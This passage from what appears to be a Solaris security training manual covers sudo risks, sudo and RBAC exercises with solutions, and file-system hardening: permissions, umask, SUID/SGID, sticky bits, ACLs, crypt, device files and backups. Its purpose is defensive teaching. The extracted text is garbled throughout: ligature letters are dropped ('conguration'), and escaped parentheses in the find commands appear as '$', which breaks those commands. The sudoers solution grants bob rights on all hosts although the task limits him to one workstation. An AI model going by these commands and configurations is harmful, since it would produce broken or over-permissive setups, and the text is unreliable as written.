Apr 19 14:45:14 : alice : TTY=pts/2 ; PWD=/export/home/alice ;
USER=root ; COMMAND=/usr/bin/shutdown
Note The sudo utility also sends email to a named user (for example,
the default root user) if an unauthorized user attempts to use sudo.
The sudoUtility
Security Implications of Using the sudo Utility
While the sudo utility has many advantages, it also has issues that system
administrators should be aware of. If a sudo user password is broken by
an intruder, the intruder will have access to the users sudo commands.
It is good practice not to give sudo users root access to every command
(ALL) or at least any command that has shell escape features (such as vi)
or a shell command. If users can escape to a shell, then any command that
is issued is run as root. Another problem is that sudo logging can be
avoided by malicious users if they can escape from a shell while executing
a privileged command from the sudo utility.
The sudo utility uses time stamp les to implement a ticketing system.
When a user invokes sudo and enters the correct password, they are
granted a ticket for ve minutes. (This time-out is congurable at compile
time.) Each subsequent sudo command updates the ticket for another ve
minutes.
The sudoUtility
The long timeout period creates the risk of accidentally leaving a root
shell where others can physically get to your keyboard.
Note It is possible for another user to use the sudo command within the
ve-minute time-out if the sudo user leaves the keyboard unattended.
Therefore, sudo users should use the sudo -k command to invalidate
the time stamp if they must leave the keyboard (but logging off would be
better).
It is possible to reduce the ticket longevity using the sudoers
conguration le. To switch off the ticketing feature so that the user
always has to enter a password, add the following line to the sudoers le:
Defaults timestamp_timeout=0
To prevent command spoong, the sudo utility always checks the current
directory last when searching for a command, regardless of the position of
the current directory in the users PATH environment variable (the current
directory must appear in the PATH for this safety feature to take effect).
However, the actual PATH is not modied and is passed unchanged to the
utility that sudo executes.
The sudoUtility
Evaluating the sudo Utility
The following evaluation of the sudo utility, when compared with the
RBAC appraisal given earlier, should aid you in deciding which is the
appropriate tool for your environment.
The sudo utility stores its conguration information in a single le with
basic syntax. However, having all the information in one le can be
confusing.
The portability of the sudo utility makes it very attractive to
administrators working in a heterogeneous environment.
Each command must be prexed with sudo and the full path name must
be given. Korn shell aliases can help reduce the amount of extra typing
required. For example:
alias usermod='sudo /usr/sbin/usermod'
Exercise: Controlling Root Access
G Install and congure the sudo utility
G Congure RBAC
Preparation
There is no preparation for this module.
Tasks
instructor.
Task Installing and Configuring the sudo Utility
You can download the sudo package from the Sun freeware Web site. A
copy has already been downloaded and saved in the /usr/local/pkg
directory. Install this SVR4 package and then congure sudo so that:
G The user alice can run the useradd, usermod, and passwd
commands on all systems
G The user bob can run the usermod and passwd commands only on
your workstation
G Neither user can change the root password
G All sudo activity should be logged using the Syslog utility at auth
level and recorded in the log le /var/adm/sc300log
Make use of aliases in the sudo conguration le so that it is easy to
extend your system by adding new users or granting new permissions.
Task Configuring RBAC
Congure RBAC so that:
G The user alice can run the useradd, usermod, and passwd
commands
G The user bob can run the usermod and passwd commands
Use RBAC roles and proles so it is easy to extend your system by adding
new users or granting extra commands to existing users.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
Below are the solutions on how to:
G Install and congure the sudo utility
G Congure RBAC
Installing and Configuring the sudo Utility
1. Install the sudo package:
# cd /usr/local/pkg
# pkgadd -d sudo-1.6.3p5-sol8-sparc-local
2. Look at documentation in the /usr/local/doc/sudo le or read the
manual page (in /usr/local/man):
# man sudo
3. Edit the /usr/local/etc/sudoers le to contain:
# visudo
Defaultssyslog=auth
Cmnd_Alias PWD=/usr/bin/passwd [A-Z0-9a-z]*, !/usr/bin/passwd root
Cmnd_Alias USERMOD=/usr/sbin/usermod,PWD
Cmnd_Alias USERADD=/usr/sbin/useradd
Host_Alias WORKSTATION=<hostname>
User_Alias ADMIN=alice
User_Alias USERADMIN=bob
ADMIN ALL=USERMOD,USERADD
USERADMIN ALL=USERMOD
root ALL=(ALL) ALL
4. Update the /etc/syslog.conf le to include the following line (this
line should be there from the exercises in Module 2, Using Solaris
OE Log Files):
# vi /etc/syslog.conf
5. Test your conguration.
Exercise Solutions
Configuring RBAC
1. Create a prole for the two required command sets by adding the
following lines to the /etc/security/exec_attr le:
Passwords:suser:cmd:::/usr/bin/passwd:uid=0
User Add:suser:cmd:::/usr/bin/useradd:euid=0
User Mod:suser:cmd:::/usr/bin/usermod:euid=0
2. Add the following lines to the /etc/security/prof_attr le to
complete the prole denitions:
Passwords:::Change passwords:
User Add:::Add new users:
User Mod:::Modify exising users:
3. Create two new roles, giving each a prole Korn shell and a valid
password. One role should allow proles UserMod and Passwords,
and the other a UserAdd:
# roleadd -P UserMod,Passwords -s /usr/bin/pfksh UserMod
# passwd UserMod
...
# roleadd -P UserAdd -s /usr/bin/pfksh UserAdd
# passwd UserAdd
...
4. Allocate the required roles to the alice and bob users by running
these commands:
# usermod -P All, -R UserAdd,UserMod alice
# usermod -P All, -R UserMod bob
5. Test your changes, ensuring that the user alice can use the su
command to assume either role but the user bob can only use the su
command to assume the UserMod role. From within the proles,
ensure that alice can add a user and bob can modify a user.
6. Finally, reassure yourself that you cannot login as a prole user (use
telnet to reconnect to your workstation).
8-1
Module 8
FileSystemAttacks
Objectives
G Set secure le permissions and ownerships
G Describe the security implications of using set-user-id (SUID)
programs
G Describe the security implications of setting sticky bits on directories
G Congure and use access control lists (ACLs)
G Encrypt data using the crypt command
G Describe the security implications of device les
G Describe common security issues with backup and restore strategies
Relevance
Relevance
?
!
Discussion Protecting file systems and system resources from invasion
and damage requires constant vigilance. Consider the following questions:
G How can les and directories be protected from unwanted attacks or
unauthorized access?
G How can you increase the security on le systems and directories
while still allowing selected users the access they need?
G When it appears that set-user-id (SUID) programs are causing
security problems, how can you remedy the situation?
File SystemAttacks 8-3
G Garnkel, Simson, and Gene Spafford. Practical UNIX & Internet
G Farrow, Rik. UNIX System Security. Addison Wesley, 1991.
G Online manual pages for chmod(1), getfacl(1), and setfacl(1)
Guidelines for Setting Up the rootPartition
A key security requirement for a Solaris OE is to protect the root le
system from overow and subsequent Denial of Service (DoS). Protect the
root le system by separating slices or partitions for all directories that
are writable by ordinary users. At the very least, mount the following
directories on separate disk slices or partitions:
G /tmp
G /var
G /export/home (and any other user home directories)
Consider putting the following directories under /var onto separate slices
or partitions to protect the administration information (such as log les):
G /var/spool
G /var/tmp
G /var/news (if you are running the news server)
Preventing Users From Filling the /tmp File
A simple DoS attack is when a user creates a large le in the /tmp
directory. This prevents any utility that needs to write to this directory
from running. This problem is made worse if the tmp directory is part of
the root partition or mounted on the swap partition. More often,
problems with the /tmp directory lling are accidental. Often, les are
created in /tmp (by users and system administrators alike) and forgotten.
To minimize DoS problems caused by limited space on /tmp, use one of
the following methods:
G Enable quotas on the /tmp directory if it is mounted as a standard
UNIX le system (UFS) so that no single user can ll up more than
40 percent of the le system
G Monitor the free space on the /tmp directory with a script that runs
regularly
G Mount the /tmp directory on its own partition rather than swap
space which might affect system performance if large numbers of
temporary les are used (such as during compilation)
Using Temporary File Systems
It is not only the /tmp directory that can be mounted on the swap space.
To enhance the performance of applications that involve large numbers of
temporary les, it is sometimes appropriate to create a pseudo le system
called a temporary le system, or tmpfs. It is termed temporary because
the les and data in it are not retained when the system is rebooted.
Temporary le systems reduce the time-intensive resources needed to
create and destroy les, because the le creation and destruction is
typically performed in memory rather than on the disk. Compiling a C++
program is an example of a process which creates and deletes large
numbers of temporary les. Compilation time is greatly reduced using a
temporary le system.
If you have a temporary le system, be aware that it uses the system swap
space for storage. If the contents of the temporary le system increase,
you will see a proportional loss of available swap space. When
investigating the lack of swap space, consider temporary le systems as
possible culprits.
To nd out which le systems are mounted on the swap space, use the
df-F command, as shown in Code 8-1.
Code 8-1 Finding Out Which File Systems Are Mounted on
the Swap Space
# df -k -F tmpfs
Filesystem kbytes used avail capacity Mounted on
swap 690752 8 690744 1% /var/run
swap 690752 8 690744 1% /tmp
Preventing DoS Due to Limited Swap Space
Swap space stores process memory images when they are paged or
swapped out of main memory. The reduced cost of memory has reduced
the need and importance of swap space, and many performance-critical
systems are congured to ensure that processes are never swapped.
It is more common to nd swap space used on systems that are used for
development or for testing. If the system runs out of swap space, then new
processes cannot run, which creates a DoS situation. An intruder can force
this DoS by creating a large number of processes, each of which requires
huge amounts of memory.
Note It is much easier for an intruder to create and run memory-
hungry programs if you leave a C/C++ program or any other language
compiler on the system.
If you run out of swap space, rst assess whether the cause is accidental or
malicious intent. To determine which processes are using a lot of swap
space, use the ps, prstat, stdtprocess, or top commands to display
process memory usage and paging activity.
If you run out of swap space because valid processes have used up all
available space, add additional swap space using the swap command. Use
the mkfile command to create the le and preallocate disk space to it. For
example:
# mkfile 50m /export/home/swapfile
# swap -a /export/home/swapfile
increases the size of swap by 50 Mbytes (although this incurs the loss of
usable le space).
Note This is not a permanent solution, and the swap space returns to
its original size on reboot. To permanently allocate the extra swap space,
add the new swap le to the /etc/vfstab directory and designate the le
system type as swap:
swap - /export/home/swapfile swap - no -
If rogue processes are using the swap space, use the kill command to
terminate them. Then consider using the ulimit command to restrict the
amount of virtual memory a users process can use.
For the Bourne shell or Korn shell, add the following line to the
/etc/profile le to put a hard limit of 250 Kbytes on the amount of
virtual memory a process can use:
# ulimit -Hv 250
Setting File SystemPermissions for Security
Setting le and directory permissions is one of the most basic ways to
enforce security on a system. Permissions on les and directories allow
users to control who can access their les or directories for reading,
writing, searching, and executing.
File ownership and access controls are sometimes the nal defense against
intruders that have already breached other security protections. So the
subject is worth reviewing when considering security.
Access is controlled by the les mode bits, also known as permission bits.
The three basic types are:
G read The le or directory can be opened and read.
G write The le or directory can be opened and written to. Write
does not imply read.
G execute Compiled program les can be executed and directories
can be searched.
There are slightly different meanings to these bits for directories
compared to all other types of les.
Files Permissions
The le permissions are:
G read The le can be opened and read. Read implies a le can be
copied.
G write A le can be overwritten from any point or new data
appended to the le. Write does not imply read, so existing le data
cannot be read and then modied. Write does not imply a le can be
deleted (see Directory Permissions on page 8-12).
G execute Compiled program les can be executed. Executable les
do not require read permission but shell script les need both read
and execute permissions.
Directory Permissions
The directory permissions are:
G read The directory can be opened and read. For directories, this
means le names can be listed, but the les cannot be accessed
(because the i-node cannot be read).
G write A directory can be updated. This means that les can be
created, deleted, or renamed regardless of the permissions on the le
itself. The ability to remove a le is not controlled by the les
permissions, but by the permissions of the directory containing the
le.
G execute A directory can be searched, giving access to the les
within the directory.
Permission Categories
Three sets of permission bits exist for user, group, and others. The rules
for determining le access are:
G One set controls the access of the owner of the le.
G One set controls the access for the members of a group.
G One set controls the access for all other users.
It is possible for users to set permissions that would deny themselves
access to their own les while granting open access to the rest of the
world. It is a common mistake to believe that there is an implied hierarchy
between owner, group, and others with regard to le and directory
permissions.
Review the following rules that describe how le access is determined:
G If the user is the owner of the le, then only the owner permission
bits are considered.
G If the user is not the owner, but is a member of the group owning the
le, then only the group permissions are considered.
G If the user is neither the owner nor the group owner, then only the
other permissions are considered.
Review File Permissions
Test your understanding of the UNIX le permissions by studying the
system output shown in Code 8-2, and answering the questions on
page 8-15.
Code 8-2 UNIX File Permissions
alice$ id -a
uid=102(alice) gid=10(staff) groups=10(staff),1(other)
bob$ id -a
uid=103(bob) gid=1(other) groups=12(sysadmin),1(other)
alice$ ls -al work
total 4
drwxrwxr-x 2 alice other 512 Jul 5 15:37 .
drwxr-xr-x 3 alice other 512 Jul 5 15:34 ..
-rw-r--r-- 1 alice staff 0 Jul 5 15:34 file1
-r--r--r-- 1 bob other 0 Jul 5 15:36 file2
-rw------- 1 bob sysadmin 0 Jul 5 15:37 file3
-rw--w--w- 1 alice staff 0 Jul 5 15:36 log
1. Which les can alice read?
2. Which les can bob read?
3. Which les can alice write?
4. Which les can bob write?
5. Which les can alice delete?
6. Which les can bob delete?
7. What use are the odd permissions on the le log?
Implications of Lax Permissions
Allowing les to have wider access permissions (that is, with more
permission bits set) than is required can constitute a security risk. The
common problems with lax permissions are:
G A loss of condentiality that leads to data theft or privacy violation.
G They leave holes in the le system that allow back doors and
Trojan horses to be created.
G There are more opportunities for intruders to instigate DoS attacks.
G Information can be gleaned that can later be used to mount an attack
on this and other systems.
Preventing Lax Permissions Using the umask Setting
The UNIX le-creation mask, called umask, can set the default le
permissions for newly created les. A process inherits its umask setting
from the parent process so, to be fully effective, the umask setting should
be set for the login process. With the Solaris OE, you do this by setting the
umask in the /etc/default/login le.
The umask setting, as its name implies, is a bitwise and mask that is
applied to the le permissions, and which species those permissions you
do not want set when a le is created. With umask set to 0 the default
le-creation mode is:
G -rw-rw-rw- or octal 666 for a text le
G -rwxrwxrwx or octal 777 for a directory or executable le
In the Solaris OE, by default, the umask is set to octal 022 in the
/etc/profile le. This has the effect of subtracting the write permission
for group and the world as follows:
G -rw-r--r-- or octal 644 for a text le
G -rwxr-xr-x or octal 755 for a directory or executable le
Historically, this umask setting was chosen to encourage le sharing
between users.
If these defaults are not restrictive enough for your environment, consider
setting the umask to octal 077. This ensures that only the owner of the le
has any access to it.
Although setting the umask is a useful for keeping le systems secure, it is
not sufcient to rely on your umask setting. There is nothing to prevent
you or your users from changing the le permissions after the le has
been created, and users can change the umask setting in their .profile
le.
Checking File Permissions
Using the umask setting to reinforce your le permission policy is the
rst-line defense against le system attacks. The second-line defense is to
check the le system for le permission discrepancies.
Module 9, Auditing File Systems describes how to use le digests, the
Solaris OE Fingerprint Database, and the third-party tool TripWire to
check le system permissions (and much more). At the very least, it is
good practice to use the find command to obtain a list of les that are
world-writable, and change the permissions on any of these les or
directories as necessary. The following find commands print out all les
that are world-writable:
# find / -perm -o=w -print
# find / -perm -002 -print
It is particularly important that system startup or conguration les
should not be world-writable.
Set-User-IDand Set-Group-IDFiles
Sometimes users must have special permissions to accomplish certain
tasks such as editing the password le to change their password. If you
give the user write permission to the /etc/passwd and /etc/shadow
les, there will be security implications. Instead, the user can run the
passwd program which runs with the authority of the superuser but limits
what the normal user can accomplish. In this case, the passwd program
prevents the user from changing anyone elses password.
For a program to take on another users effective UID, an extra
permission bit must be set and owned by the effective UID user. The extra
bit is called the set-user-id bit (SUID). Similarly, a program can take on a
different effective GID. A program can be both an SUID and an SGID at
the same time.
Whether the program controls the user identity or the group identity, the
same potential security threat exists. For example, a user can become the
superuser simply by running a SUID copy of the Korn shell
(/usr/bin/ksh) that is owned by the root user.
This is a fundamental security issue in UNIX, and identifying and
securing SUID and SGID programs is necessary to prevent potential
attacks on your systems.
You should closely monitor the behavior of compiled programs that have
SUID or SGID privileges. Only install new SUID programs if absolutely
necessary, and then only after you have:
G Reassured yourself of the credentials of the source of the program
G Tested it thoroughly on a stand-alone system
Although compiled programs can be altered by intruders, this is not a
simple task. However, shell scripts provide an open invitation for attack.
With regard to SUID and SGID shell scripts, the security solution is
simple:
G Never install SUID or SGID shell scripts.
G Check le systems regularly for SUID and SGID shell scripts and
remove them.
Note The Bourne shell (/bin/sh) does not support SUID or SGID
semantics on shell scripts unless the -p option is specied on the
command line when the shell is invoked. This option is not normally set
for a login shell.
Identifying and Changing SUID and SGID Bits
You can identify SUID and SGID programs in a directory listing because
they have an s where the x for execute would usually be found. For
example, the following le has both the SUID and SGID bit set:
-r-sr-sr-- 4 root sys 101744 Jan 1 2000 /bin/passwd
Use the chmod utility to set or clear these bits. To clear the SUID bit, use:
$ chmod u-s file
To clear the SGID bit, use:
$ chmod g-s file
Use the find command with the following options to locate all SUID and
SGID les on your system. Better yet, incorporate these commands into a
script that runs on a daily basis:
# find / $ -perm -u=s -o -perm -g=s $ -type f -print
This command prints out all plain le types with the SUID or SGID
permissions set.
The ncheck program prints a list of each le on a block special device (if
no device is specied, the contents of the /etc/vfstab le generate a list
of block special devices) along with its corresponding inode number.
Used with the -s option, the ncheck program prints only special les and
les with SUID mode. Use this to detect SUID or SGID programs. For
example, Code 8-3 checks for special les on the root partition.
Code 8-3 Checking for Special Files on the root Partition
# ncheck -s /dev/dsk/c0t0d0s0
/dev/dsk/c0t0d0s0:
44213 /usr/lib/uucp/remote.unknown
44215 /usr/lib/uucp/uucico
44222 /usr/lib/uucp/uusched
44223 /usr/lib/uucp/uuxqt
44241 /usr/sbin/static/rcp
...
Setting Sticky Bits and SGIDon Directories
There are two permission bits with special meaning to directories:
G Sticky directories (drwxrwxrwt)
G SGID directories (drwxrwsr-t)
They make the les stored in those directories more secure. The following
sections discuss these permission bits.
Using Sticky Directories
Although the sticky bit is redundant with regard to les
1
, the Solaris OE
still makes use of this bit for directories. Administrators can use it to
protect a users les without having to give the user special privileges in
an otherwise public directory. With the sticky bit set on a world-writable
directory, users can create, rename, and delete their own les, but cannot
rename or delete les owned by other users.
With a directory sticky bit set, a user can only delete a le from the
directory if one of the following is true:
G The user owns the directory and can write to the directory.
G The user owns the le and can write to the directory.
G The user is the superuser.
1. The original use of the sticky bit was to reduce the overhead of swapping in
andout of frequently run programs by marking the memory pages so that they
were less likely to be overwritten if they were not actually in use.
The commands in Code 8-4, which can only be issued by the superuser,
reset the normally wide-open permissions of the /tmp directory to protect
an individual users les from malicious or accidental damage by others.
Code 8-4 Resetting Permissions
# cd /
# ls -ld tmp
drwxrwxrwx 6 sys sys 320 Jun 11 08:43 tmp
# chmod +t /tmp
# ls -ld tmp
drwxrwxrwt 6 sys sys 320 Jun 11 08:43 tmp
The appearance of the t character instead of the x character in the
execute position for other users shows that the sticky bit is set.
Setting SGID Directories
A le created in a directory with the SGID bit set has the same group as
the directory. Without the SGID bit set, the le acquires the effective GID
of the user creating the le.
SGID directories are most useful for small projects where users store les
in a shared directory. The SGID bit ensures that all les stored in the
directory belong to the same group. As long as the le is created with
group read permissions, and all project members are in the same group,
there should be no problems with project members being unable to read
some of the les. Correct use of umask is necessary for SGID on directories
to work effectively.
As long as the users are administered securely, there should be no
additional security implications in using SGID on directories.
Code 8-5 Using SGID on Directories
alice$ ls -al work
total 4
drwxrwsr-t 2 alice other 512 Jul 5 15:37 .
drwxr-xr-x 3 alice other 512 Jul 5 15:34 ..
-rw-r--r-- 1 alice other 0 Jul 5 15:34 file1
-r--r--r-- 1 bob other 0 Jul 5 15:36 file2
-rw-r--r-- 1 bob other 0 Jul 5 15:37 file3
-rw--w--w- 1 alice other 0 Jul 5 15:36 log
Securing Files Using Access Control Lists
Basic permissions of read, write, and execute for owners, groups, and
others are usually sufcient for the protection of most les and directories.
However, you might need to include or exclude particular users or groups
from le access. Access Control Lists (ACLs) provide a ner level of access
control which can be benecial for small, collaborative projects.
ACL entries are the way to dene an ACL for a le. ACL entries are set
using the setfacl command and examined using the getfacl command,
both of which are described in the following section.
Many UNIX systems have added ACLs to a le or directory to equip
users with a more-specic means of controlling access to their les.
Unfortunately, this control is implemented using different commands,
syntax, and behavior according to which version of UNIX is being used.
This discussion of ACLs is limited to the Solaris OE implementation.
ACLs were not available with the Solaris OE prior to the 2.5.1 release.
Caution Because ACLs are not standard across different types of UNIX
systems, they do not work in a heterogeneous environment. Any les and
directories exported to pre-Solaris 2.5.1 or non-Solaris clients using NFS
should be fully protected with the standard UNIX le permissions.
ACLs are supported on UFS le systems only. This means that if you copy
les onto a non-UFS le system (such as a tempfs), the ACL entries will
be lost.
Using the getfacl and setfacl Commands
To examine the ACL for a le, use the getfacl command. In the example
shown in Code 8-6, the ls -l command lists the basic permissions on a
regular text le. Next, the getfacl command displays the extended
permissions, even though none have yet been added.
Code 8-6 Listing Basic Permissions on a Regular Text File
$ ls -l my_text
-rw------- 1 fred staff 22 Jun 12 15:10 my_text
$ getfacl my_text
# file: my_text
# owner: fred
# group: staff
user::rw-
group::--- #effective:---
mask:---
other:---
With no specic ACL set, the getfacl command reports the standard
UNIX permissions for user, group, and other. The mask permission is also
set which acts as a lter on the default permissions. The mask works in
a similar way to the umask utility. The mask performs a bitwise logical
AND with the standard permissions, the result of which is the effective
permissions. Where the mask setting modies the permissions, the
effective permissions are reported.
Maintain ACL entries with the setfacl command options:
G -m to modify settings
G -s to set all settings
G -d to delete a setting
G -r to recalculate the mask (always use unless setting the mask
explicitly)
All options accept a comma separated list of ACL entries.
Each entry is category:permissions:
$ setfacl -r -m u:groucho:rw-,g:marxbros:r-- my_text
To add extended permissions to existing basic permissions, use the
setfacl command with an -m (modify) option. In the following example,
read and write permissions are added for user groucho, and read
permissions are added for group marxbros:
$ setfacl -m u:groucho:rw-,g:marxbros:r-- my_text
$ ls -l my_text
-rw-------+ 1 fred staff 22 Jun 12 15:10 my_text
When you use the ls -l command, notice that there is now a +
character appended to the basic permissions list, indicating that an ACL
now exists on the le. The getfacl command displays the details of the
extended permissions that were applied (see Code 8-7).
Code 8-7 Using the getfacl Command
$ getfacl my_text
# file: my_text
# owner: fred
# group: staff
user::rw-
user:groucho:rw- #effective:---
group:marxbros:r-- #effective:---
mask:---
other:---
You might expect that user groucho could now read and write to
my_text, but this is not the case. As mentioned earlier, the mask bits must
be set with the maximum mask permissions needed for any user who was
added to the control list. To make the extended permission modications
effective, use the -m option to set the mask (see Code 8-8).
Code 8-8 Using the -m Option
$ setfacl -m mask:rw- my_text
$ getfacl my_text
# file: my_text
# owner: fred
# group: staff
user::rw-
user:groucho:rw- #effective:rw-
group:marxbros:r-- #effective:r--
mask:rw-
other:---
There is also an -r option to the setfacl command, which automatically
sets the mask to the widest permissions required to make the ACL entries
effective.
User groucho can now read and write the my_text le. The lesson to be
learned here is that whenever the -m option modies the control list, use
the -r option to recalculate the mask to make the change effective.
Instead of making incremental changes to the control list, it might be
preferable to replace the entire list of settings using the -s option. Because
all of the settings are being replaced, you must specify the basic
permissions, the mask settings, and the extended permissions to the
command, as shown in Code 8-9.
Code 8-9 Replacing the List of Settings
$ ls -l
total 2
-rw------- 1 fred staff 9 Jun 16 08:53 my_text
$ setfacl -s u::rw-, g::---, o:---, m:rw-,\
u:groucho:rw, g:marxbros:r-- my_text
$ ls -l
total 2
-rw-------+ 1 fred staff 9 Jun 16 08:53 my_text
$ getfacl my_text
# file: my_text
# owner: fred
# group: staff
user::rw-
user:groucho:rw- #effective:rw-
group:marxbros:r-- #effective:r--
mask:rw-
other:---
Deleting ACL Entries
You can delete users from an ACL using the setfacl -d command. For
example, to remove special permissions for groucho, use:
$ setfacl -d u:groucho my_text
Note When a user is removed from the system, the users UID still
appears in any ACL where the user has an entry. If the UID is reused, the
new user gains access to those les controlled by the ACL. If ACLs are
used on your system, in addition to removing all les belonging to a
deleted user, you should also remove the user from every ACL entry. Do
this using the command setfacl -d u:old_UID on every le. For
example:
# find / -print | xargs setfacl -d u:old_UID
Encrypting Data
Encrypting Data
If an intruder has broken into your system and obtained superuser
privileges, most of your system defenses have been broken and you
should take extreme measures to resecure the system.
However, there is one last line of defense that can prevent intruders from
viewing sensitive informationencryption. There are many different
types of encryption with widely varying levels of security. The subject of
code making and code breaking is vast, and this module covers only a
few aspects.
Encrypting Data
The crypt Command
The crypt command is a utility for encrypting data. This utility is
supplied on every UNIX machine. This command uses a symmetric key (a
password or phrase), input to an encryption algorithm, which encrypts a
le into a coded form. The same password or phrase decrypts the le back
to its original form.
For example, you are asked to help protect a list containing salary data or
company employees. Your own salary data is included on this list. The
chief nancial ofcer wants to store this le on a local system and wants
to keep it secret, even from you. You can recommend the use of the crypt
command because the chief nancial ofcer does not have to reveal the
key to you, and encryption provides a level of security that prevents
casual access to the data.
To encrypt a le named salaries using the crypt command and the
password of swordfish, enter:
$ crypt swordfish < salaries > salaries.encrypted
Encrypting Data
You should delete the original plain text le named salaries
immediately following this command and clear the screen so that the
password cannot be read by a passerby. The le, salaries.encrypted, is
now in an unreadable format.
To restore the encrypted le to its readable format, repeat the crypt
command using the swordfish key, redirecting input from the encrypted
le and redirecting standard output to a new le. In this example, the
unencrypted le is new_salaries.
$ crypt swordfish < salaries.encrypted > new_salaries
If the key is not supplied, the crypt utility prompts for it. In this case, the
key is not echoed to the screen, making it difcult for an onlooker to
obtain the key by shoulder surng. Unfortunately, there is no key
conrmation, so if you mistype the key you cannot decrypt the le.
Caution If you use the C shell or Korn shell, supply the password to
crypt on the command line, then make sure your command history le is
only readable by you (that is, the permission mask is set to 600).
The crypt utility uses an encryption algorithm that is widely known and,
as such, provides minimal security. The longer the key is, the more
difcult it is to break the code of the le. You can reduce the chances of
your encrypted les being decrypted by encrypting the le multiple
times, using a different key at each stage, and by compressing the les
before encrypting them.
Caution Take special care when decrypting les following the detection
of a break-in. A common intruder technique is to deliberately make the
system administrator aware of a break-in, and then monitor the
administrator during attempts to decrypt les, thereby gaining the
decrypted passwords. Following a break-in, be very sure that you are not
being monitored as you go through the decryption process.
Securing Device Files
The UNIX implementation of device les is one of the features that makes
UNIX so exible. Unfortunately, device les also present a security hazard
when an intruder can access them in an unauthorized way.
For example, if intruders can write to the /dev/kmem le, they can alter
process attributes or write garbage data in memory and crash the system.
With access to raw disks, an intruder can read sensitive data or even
replace or destroy important les.
All standard devices are located in the /devices directory, with symbolic
links to les in the /dev directory. A few devices, such as /dev/null and
terminal devices, should be world-writable, but most of the rest should
not. Regularly check the permissions on the les in /devices and
investigate any devices that are world-writable.
Unauthorized Device Files
Regularly check the entire le system for device les planted by intruders.
A common method for attacking a system is to create a writable device
le in a hidden directory. The ncheck command mentioned earlier (see
Identifying and Changing SUID and SGID Bits on page 8-22) prints the
name of all device les when run with the -s option. Alternatively, use
the find command to nd all character and block special device les:
# find / $ -type c -o -type b $ -ls
Guidelines for Protecting Systems Using Backups
The importance of doing regular backups is repeated at virtually every
level of system administration training, yet stories about the catastrophic
loss of important data are still common. Even with the vast improvement
in hardware reliability, it is impossible to over-emphasize the importance
of performing regular backups, and testing the restoration of the saved
data.
You should already know the mechanics of saving and restoring backup
data. However, with regard to the topic of system security, the subject is
worth revisiting.
When faced with intruder break-ins or the possibility of sensitive data
being stolen, administrators should consider some of the ner points of
their backup and restore procedures.
A good backup strategy usually involves a combination of full and
incremental backups. When making adjustments to a strategy, use the full
backup, because restoring a complete system is easier than restoring an
incomplete one. Also, tape and other removable media is cheap compared
to the loss of data.
Some of the backup procedures to follow are:
G Use at least two or more complete sets of media for backups. If using
tape, retire a set of tapes after 50 cycles of use because of media
degradation.
G Once a week, schedule a time to test your backups by restoring
randomly selected les. Choose les of varied sizes and positions on
the media to ensure that le size limitations or le boundary
problems are not present in your existing backups.
G At least once a year, carry out a complete system restoration on a
separate machine, and examine its integrity. Knowing that the
prescribed procedures work as intended will do wonders for your
condence level.
G When using tape media, occasionally restore selected les using a
different tape drive. Alignment or speed differences could make
your drive unique, rendering your tapes useless if that particular
tape drive fails.
G Keep the backup media far away from the system being backed up.
A local disaster, such as a small re in one or two rooms, could mean
complete loss of data by destroying both the system and the backup.
Do not store all the media in the same location.
G Write-protect every tape following a backup. It might be difcult to
set the switch to writable again the next time you use the tape, but
this difculty is better than accidentally overwriting a badly needed
complete set of data just because of a tape mix-up.
G Some organizations, such as nancial institutions, are required to be
audited for their ability to separate, manage, and restore backup
data. Pay close attention to these requirements. These requirements
usually complement or override any existing policy.
G Do a complete backup on systems that are installed for the rst time
or have undergone a security cleanup. Day-zero backups are valuable
when it comes to restoring les following a break-in. If it can be
determined where a security problem existed in an initial
installation, perform the full restoration, x the problem, and then
back up the system again as your new day-zero backup version. This
reduces the possibility of accidentally restoring an old, insecure
version of the le system in the future.
G Destroy or mark as unsafe all backups taken after there has been a
known or suspected break-in. Make a full backup immediately after
the system has been cleaned.
G On a monthly, quarterly, or strategic schedule, test the restoration of
a complete set of tapes, and move them off-site to a safe place such as
a safe-deposit box. For very sensitive data, it might be necessary to
notify company ofcers of the location and date of the media, in case
the system administrator is not available. If the place of storage is
not a formal safe-deposit box, make sure that the container is
reproof, waterproof, and free from exposure to excessive
electromagnetic radiation.
G If you are concerned that sensitive data might be stolen, be aware of
who is transporting the backup media to the off-site location, and
ensure that the media is kept under lock and key.
G When backing up very sensitive data, such as trade secrets or highly
valuable source code, use encryption. Always use the same
encryption key and make it known to a trustworthy ofcer in case of
your absence. Consider the use of a key-code-sharing scheme that
requires retrieval of portions of the code from several people, so that
no single person can restore the les.
G Live backups (ones in multiuser mode where users are potentially
making changes to the system) give rise to issues with les that
change during the backup. These les usually cannot be restored, or
can be invalid when restored. Try to schedule backups when users
are less likely to be modifying data. If possible, perform backups for
archive from single-user mode (or even better, booted from
CD-ROM).
Note Solaris 8 OE includes a new utility fssnap which allows
administrators to take a point-in-time snapshot of a UFS le system. The
fssnap command enables the user to keep the le system mounted and
the system in multiuser mode during backups.
G Set aside special le systems for very important and constantly
changing les, and back them up separately and more often than the
rest of the system.
The key aspects of this long list are:
G Keep backup media secure at all times.
G Do not allow unauthorized access to backup media or drives.
G Verify backups and do regular restorations as part of your media and
procedure checks.
G Destroy compromised backups after a break-in.
Remember, backups can be a weak point in your systems security.
Restoring Data
Backing up is only half the equation. When a full or partial restoration of
data is required, be aware of the following potential security implications:
G If a system has been attacked and subsequently cleaned, careless
restoration of old les might restore the security problems and undo
all your good work.
G If a system has been hardened (see Module 14), take a backup at that
point and, if possible, destroy all previous backups.
G Take care that no les belonging to deleted users are restored.
G Never restore over the original les, only restore to a separate
location. Delete the existing les and move the required restored les
to their nal location after the validity of the restoration has been
established.
These points might seem extreme, but implementing them helps to
protect your data in the event of a break-in or physical disaster.
Exercise: Securing File Systems
G Set up an ACL to share les
G Set up a group-shared directory
G Write a shell script that checks for lax le permissions
Preparation
Tasks
instructor.
Task Creating ACLs
Create an Access Control List for a le and test it as follows:
1. Create a le (in any manner you want) and set the standard UNIX
permissions to readwrite for the owner only. Make sure you create
the le on a UFS le system such as in a users home directory. Do
not use the /tmp directory because this is usually a swapfs le
system and does not support ACLs.
2. Using an ACL, give readwrite access to user alice, and read-only
access to user bob.
3. Log in as users alice, bob, and eve, and check that:
a. The user alice can read and write to the le.
b. The user bob can read but not write to the le.
c. The user eve cannot read or write to the le.
4. Remove alices write permission and delete bob from the ACL
entry.
5. Check that:
a. The user alice can read and not write to the le.
b. The users bob and eve cannot read or write to the le.
Task Creating a Group-Shared Directory
Use group permissions to create a shared directory as follows:
1. Create separate groups for each of the two users alice and bob.
